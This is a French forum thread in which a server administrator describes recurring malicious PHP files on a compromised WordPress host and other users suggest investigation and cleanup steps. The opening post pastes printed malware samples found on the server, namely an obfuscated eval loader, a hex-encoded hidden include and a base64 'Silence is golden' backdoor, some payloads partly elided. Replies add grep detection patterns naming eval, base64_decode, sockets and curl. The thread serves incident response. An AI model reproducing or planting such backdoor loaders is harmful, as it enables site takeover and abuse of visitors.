Serveur hacké avec des fichiers pourris qui se créés un peu partout

Bonjour,

Sur un de mes serveurs web, je trouve régulièrement des fichiers php créés je ne sais comment ni par qui, dont les noms sont générés aléatoirement et qui ressemblent à ça :

  • article.php
  • blog50.php
  • code69.php
  • db.php
  • lib.php
  • model68.php
  • proxy67.php
  • session.php
  • view.php

Je les retrouves exclusivement au sein de mon arborescence web.
Je dirai même avec une quasi certitude qu’ils sont stoppés par les droits de mon utilisateur.

A l’intérieur de ceux-ci, il n’est plus question d’éaléatoire, mais de contenu obscur de ce type là :


<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

 $plticvb = 4358; function aspqfjzw($yvqlkudjaw, $bugyr){$vcosr = ''; for($i=0; $i < strlen($yvqlkudjaw); $i++){$vcosr .= isset($bugyr[$yvqlkudjaw[$i]]) ? $bugyr[$yvqlkudjaw[$i]]
: $yvqlkudjaw[$i];}
$qcvfoelbn="base" . "64_decode";return $qcvfoelbn($vcosr);}
$fymjvjk = 'A7h6CGzUkvAZPdGne9znvdr0knepYaLGTaDolDfKA7h6CGzUkvAZPdr0kqzheMP0eM8M2RVDKTpFR1go39hHedGfKRE'.
'cOvsHkvshOuGfCbz6vuio3bXM2RVDKTpFR1gheMP0ehznkvg0eMio39eZ8R1WBAoVedGfvuio3bGH37hcCvAZ8R1WBAZFR4fKCbO'.
'ZYbihk9h6kbAZYhgYXtztTfDJKx1FRMpFRJV4YRg1kbko39XZYhgYXtztTfDJ2RVJv'.
'7SJKTpFRMfFR4fKCbOZYbihk9h6kbAZY1iPX1GBGazxbGzTiGggX1tXT'.
'qYJKx1FRMpFRJV4YRg1kbko39XZY1iPX1GBGazxbGzTiGggX1tXTqYJ2RVJ2nYolDfKHAfKBAo'.
'okJVZYbihk9h6kbAZPft8X1GgithHXhGlvUafF78SFdF9FIYUO9aS89tsk91dl5PoObYrF9tfCbN'.
'rlReoKAfKjDfKYRV4Y7ihk9h6kx4MAXrxiXtabGzxGXLH8TAfOU4uOdOd8IFJOT4nObt9CTO'.
'Se9hsOIadOvio3UaSPnD48x1WBAZFRJV4YRV1k7tfOxVzYaLGTaDWBAZ4YRV4P7i'.
'sE7tHCdGLYBf4ThG8TBpFR4fKYRV4YRi5TazRAXrTbnEIeqzsEviZPqf4mxVMF98Ll7arOIacFIt1'.
'FxffO9PI2TsIOdOckIaUFUhIObaS8I4DPUpFRJV4YRgM37zJObD4P7FUvdtqE74WBAZFR4f'.
'KYRV4Y7kq39FfCbz6Y7FUvfEhEas0euAZKAfKYRV4Y5pFRJV4YRV4YRV4e9GfEvP6Y5FfeMi'.
'037zukvYZe5PhkqznkvgpObFhKRe0vJsuEuENkMiDKGD62d1M2ReM2aV1vqFtXhktXhpMxtiXXtzYTqFXPqfoKTpFRJV4YRgzBAZ'.
'FRJV4YRg9EbLIE7h03JgIeqz5kvive9hfObPpkXioeM8ZKAfKYRV4Y5pFRJV4YRV'.
'4YRV4P5PhenVzYatne9tLKR1WBAZFRJV4YRV4YRV4P7t6ObrLeuhUvutqkvGhYBf4AvPnOv1'.
'ZKTpFR4fKYRV4YRV4YRV1ObLs35hUjvFHevGhEbG3vxVzY7FUvfEhEai0OqP03uAZKTpFR4fKYRV4YRV4YRV1edGpkhzDOv'.
'iZYBf4PtzTiGPbiGP3PqFBX1hAGtz7xXrtT1tFixEElDfKYRV4YRV4YRguC7hpkxVZKRiU37tUCRV'.
.
.
.
.
'Y7FUvugpEbEo3hznkbfZP7isE7t3PuVMvx1WBAZ4YRV4YRV4YRV4YRgzBAZ4YRV4YRV4Y5fFRJV4YRV4YRV4kbFZ3nV1k7tfOGp'.
'MObpMvTpFRJV4YRV4YRV4kvsoER4olDfKYRV4Y5fFR4fKYRV4Y7FUvugp'.
'EbEo3hzp3dt1KR1WBAoz';
$yssuh = Array('1'=>'k', '0'=>'v', '3'=>'b', '2'=>'L', '5'=>'H', '4'=>'g', '7'=>'G', '6'=>'u', '9'=>'m', '8'=>'M', 'A'=>'Q', 'C'=>'a', 'B'=>'D', 'E'=>'d', 'D'=>'w', 'G'=>'V', 'F'=
>'N', 'I'=>'j', 'H'=>'f', 'K'=>'K', 'J'=>'i', 'M'=>'n', 'L'=>'5', 'O'=>'Y', 'N'=>'8', 'Q'=>'6', 'P'=>'J', 'S'=>'4', 'R'=>'C', 'U'=>'z', 'T'=>'T', 'W'=>'7', 'V'=>'A', 'Y'=>'I', 'X'
=>'U', 'Z'=>'o', 'a'=>'E', 'c'=>'t', 'b'=>'W', 'e'=>'c', 'd'=>'2', 'g'=>'B', 'f'=>'0', 'i'=>'R', 'h'=>'l', 'k'=>'Z', 'j'=>'e', 'm'=>'P', 'l'=>'O', 'o'=>'p', 'n'=>'y', 'q'=>'1', 'p
'=>'s', 's'=>'h', 'r'=>'x', 'u'=>'3', 't'=>'F', 'w'=>'r', 'v'=>'X', 'y'=>'q', 'x'=>'S', 'z'=>'9');
eval/*mrzwihvbrx*/(aspqfjzw($fymjvjk, $yssuh));
}

Ces fichiers sont parfois accompagnés de couple de fichiers que j’appellerai respectivement “clés de chiffrement” et “fichier chiffré”.
Leurs noms ressemblent à ça :

ls -al
total 40K
-rw-r--r-- 1 me me  34K déc.  11  2016 0fea6_e82cc96108366fe96817da513bb6be22
-rw-r--r-- 1 me me 1,6K janv.  4  2017 8dab73f

Leur contenu ressemble clairement à un fichier chiffré et à une clé de chiffrement.

Ingénieux n’est-ce pas ? :smiling_imp:

Dans un autre cas, des fichiers index.html sont renommés en index.html.bak.bak, et un fichier index.php est créé à la place avec un contenu de ce genre :


<?php
/*7bf05*/

@include "\x2fh\x6fm\x65/\x48e\x........./\x70u\x62l\x69c\x5fh\x74m\x6c/\x61s\x73e\x74s\x2eo\x6cd\x2fc\x73s\x2ff\x61v\x69c\x6fn\x5f
4\x36f\x37b\x36.\x69c\x6f";

/*7bf05*/


echo file_get_contents('index.html.bak.bak');


Pas bête, quoiqu’un peu plus facile à détecter :slight_smile:

Enfin dernier cas recencé, un vieux hack appelé “Silence is golden”, qui sévit sur certains sites Wordpress hébergés. Là encore se sont des fichiers index.php encodé en base64 qui ressemblent à ça :

<?php
function  eLDA5Lw($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} function  HAv1BMPMDV9GePec9($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} function  S6kqX7K($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu){return str_replace($jjcCbN3wEv9k7C578aMddMQ,$ojLjV7oNh,$zi59Fzu);} $HMlXHjJrnmnrE = 'bnbhrqmStOZh1WudNZDanbhrqmStOZh1WudNZDsnbhrqmStOZh1WudNZDenbhrqmStOZh1WudNZD6nbhrqmStOZh1WudNZD4nbhrqmStOZh1WudNZD_nbhrqmStOZh1WudNZDdnbhrqmStOZh1WudNZDenbhrqmStOZh1WudNZDcnbhrqmStOZh1WudNZDonbhrqmStOZh1WudNZDdnbhrqmStOZh1WudNZDe'; $HMlXHjJrnmnrE = S6kqX7K('nbhrqmStOZh1WudNZD','',$HMlXHjJrnmnrE); $mzjPmd1p2yjjryZg1laOEtoc = 'cerXk0rerXk0eerXk0aerXk0terXk0eerXk0_erXk0ferXk0uerXk0nerXk0cerXk0terXk0ierXk0oerXk0n'; $mzjPmd1p2yjjryZg1laOEtoc = S6kqX7K('erXk0','',$mzjPmd1p2yjjryZg1laOEtoc); $MMYYwQUVZz83roVQx47V = 'rdtPI8uJfLZrerdtPI8uJfLZrvrdtPI8uJfLZrardtPI8uJfLZrl'; $MMYYwQUVZz83roVQx47V = S6kqX7K('rdtPI8uJfLZr','',$MMYYwQUVZz83roVQx47V); $tN6esA = '$Tw4WssJI5EJJgT'; $ACMofAdBhXn7nm0 = $mzjPmd1p2yjjryZg1laOEtoc($tN6esA,$MMYYwQUVZz83roVQx47V.'('.$HMlXHjJrnmnrE.'('.$tN6esA.'));'); $ACMofAdBhXn7nm0('ZXZhcE95QT0i.................KSk7IA==');?><?php
// Silence is golden.
?>#          

Alors depuis des mois, je cherche d’où ça peut provenir… d’un CMS pas mis à jour ? Probable… sauf que je n’ai pas la main sur tous les sites que j’héberge, et je n’ai de toute façon personne à incriminer !

A quoi ça sert ? On s’en doute : servir de relais à spam, d’attaque fishing, j’en passe et des meilleures…

La seule parade que j’ai trouvé pour l’instant, c’est de faire une recherche sur la chaine de caractères \x47 qui est semble-t-il une constante dans le cas du premier type de fichier.
Pour le 2e type, une recherche sur les index.bak.bak suffit…
Mais quid des autres hacks encore non décelés ?

Alors en attendant, je fais régulièrement le ménage à grand coup de find et de rm (oui je suis un peu tête brulée des fois), mais pour l’instant, je touche du bois, je n’ai rien cassé.

Dernier cas de figure, un peu plus galère à nettoyer : une ligne de code encodé qui s’insère masquée (avec un grand décallage à gauche) dans un fichier .php utilisé par le CMS… nettoyage à la main obligé !

Pour être franc, ce problème me confronte à aux limites de mes compétences actuelles et si je viens vers vous, c’est pour tenter de les repousser !

Merci d’avance pour l’aide que vous pourriez m’apporter :slight_smile:

J’apporte de l’eau à mon moulin…
J’ai en ce moment un processus qui fait tourner un fchier cron.php, et qui ouvre un port chelou.
Voyez donc :

# netstat -lapute|grep 800
tcp        0      0 *:20284                 *:*                     LISTEN      User      4771806     800/cron.php 

En fait, il y en a 3 qui tournent en ce moment :

# pgrep -fl \\.php
800 cron.php
6663 cron.php
26470 cron.php

Quelques pistes :

 # cat /proc/800/cmdline 
./cron.php-e0.0.0.0-p20284#    

# cat /proc/6663/environ 
APACHE_RUN_DIR=/var/run/apache2APACHE_PID_FILE=/var/run/apache2/apache2.pidPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAPACHE_LOCK_DIR=/var/lock/apache2LANG=CAPACHE_RUN_USER=www-dataAPACHE_RUN_GROUP=www-dataAPACHE_LOG_DIR=/var/log/apache2PWD=/home/User/web/site.tld/public_html/wp-admin/includes#                                                                           

# cat /proc/26470/environ
APACHE_RUN_DIR=/var/run/apache2APACHE_PID_FILE=/var/run/apache2/apache2.pidPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAPACHE_LOCK_DIR=/var/lock/apache2LANG=CAPACHE_RUN_USER=www-dataAPACHE_RUN_GROUP=www-dataAPACHE_LOG_DIR=/var/log/apache2PWD=/home/User/web/site.tld/public_html/wp-includes/customize#                                                                       

# cat /proc/800/environ  
APACHE_RUN_DIR=/var/run/apache2APACHE_PID_FILE=/var/run/apache2/apache2.pidPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAPACHE_LOCK_DIR=/var/lock/apache2LANG=CAPACHE_RUN_USER=www-dataAPACHE_RUN_GROUP=www-dataAPACHE_LOG_DIR=/var/log/apache2PWD=/home/User/web/site.tld/public_html/wp-content/themes/twentysixteen/template-parts

Je ne vois rien de louche dans les répertoires depuis lesquels le script est sensé être lancé…

Bon je ne vais pas les laisser tourner toute la nuit, mais j’aimerai bien en venir à bout avant qu’ils ne reviennent…

PS : évidemment, le user qui fait tourner ça est un Wordpress… comme par hasard…

Tu peux déjà utiliser

ça sécurise déjà bien les wordpress. Ensuite un wordpress pas a jour et les plugins foireux et pas a jour qui vont avec sont sources d’injection sql et/ou XSS ou qui finisse en upload de shell

ensuite une sorte de bestpractice qu’on pratique sur nos wordpress

https://wpformation.com/11-rappels-securite-wordpress/

mais si c’est un des serveurs web, déjà met le a jour, si c’est du Debian t’as peu de chance d’avoir des soucis si tu sautes pas de version majeur, tu va garder la version de php et de mysql etc…

ensuite update les wordpress et les plugins qui vont avec. Simplement éteindre le feux comme tu le fais ne sert à rien. Si tu patch pas ça va revenir. D’ailleurs je pense comprendre que ça revient.

Dans l’idéal tu devrais monter un nouveau serveur a jour et sécurisé et déplacer tes sites dessus seulement si ils utilisent la dernière version. Si tu les migre pas tous en même temps tu verras bien celui qui se fait hacker.

changement de tous les password, accès ftp simple a banir etc…

si tu veux plus investiguer tu peux regarder les fichiers créé en dernier

find www/ -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r

liste aussi tes fichiers .htaccess, inspecte les voir si t’as pas de rewrite zarbi, vérifie leur droits. Mais pour ca il faut mieux désactiver les plugins.

tu peux chercher dans le code php

grep --include "*.php" -rlE 'viagra|pharma|Tadacip|eval|base64_decode|socket_shutdown|socket_close|socket_clear_error|fopen|curl' www/

et

grep --include "*.php" -rlE '[^-A-Za-z0-9+/=]|=[^=]|={3,}$' www/wp-content

et ensuite il te faire la même recherche dans les bases de données avec phpmyadmin par exemple

tu peux utiliser ce cleaner

https://www.raymond.cc/blog/automated-fix-wordpress-base64_decode-injection/

Rkhunter peut aussi t’aider

Metci @jimbo pour tes conseils et tes pistes d’action.
Je vais voir ça méthodiquement :slight_smile:

salut
les fichiers au contenu esotérique , on peut parfois y lire des chaines de caractères en utilisant la commande strings

https://linux.die.net/man/1/strings

Bonjour,

Je suis impressionné par ton histoire. Pas tant le fait que tu trouves des fichiers bizarres sur ton serveur web, mais par le fait que ‘Tu trouves régulièrement’ ces fichiers.

Dans ton cas, je ne vois aucun problème. Quand un serveur est ‘hacké’, on le met hors ligne, le formate, et le réinstalle complètement. Heureusement qu’en bon administrateur, tu as conservé les dernières sauvegardes qui précédent la découverte de la compromission pour restaurer tes sites.

Je suis tout aussi impressionné par ces gens qui pensent t’aider en te disant de ‘mettre a jour’ ta machine. C’est de l’inconscience pure !

Ta machine est compromise. Tu ne sais pas quels fichiers ont été modifiés. Tu ne devrais plus la laisser fonctionner. Tout du moins, pas connectée à un réseau quelconque !

Comme je le disais un peu plus tôt, je ne suis pas persuadé du tout que le système soit compromis dans la mesure où seuls les fichiers d’un même utilisateur sont concernés par le problème.
Le cloisonnement semble donc tjrs là.
rkhunter par exemple ne trouve rien de spécial et le fonctionnement global du serveur est plutôt sain.
Il me faut vraiment isoler le site posant problème et une des pistes qui me semble prometteuse est de tenter de décoder le base64 d’un fichier hacké (j’ai recemment trouvé des sites qui proposaient ça).
Sauf que là je suis dans l’expectative de la réapparition des fichiers verrolés…

Peu importe le site qui s’est fait piratouiller, en fait.

Comme tu as un serveur avec un compte utilisateur par client et les fichiers de chaque client stockés dans leur propre répertoire, il est basique de savoir quel client a un site compromis.

Chaque client est bien isolé dans son propre compte utilisateur avec son propre répertoire, n’est-ce pas ?


AnonymousCoward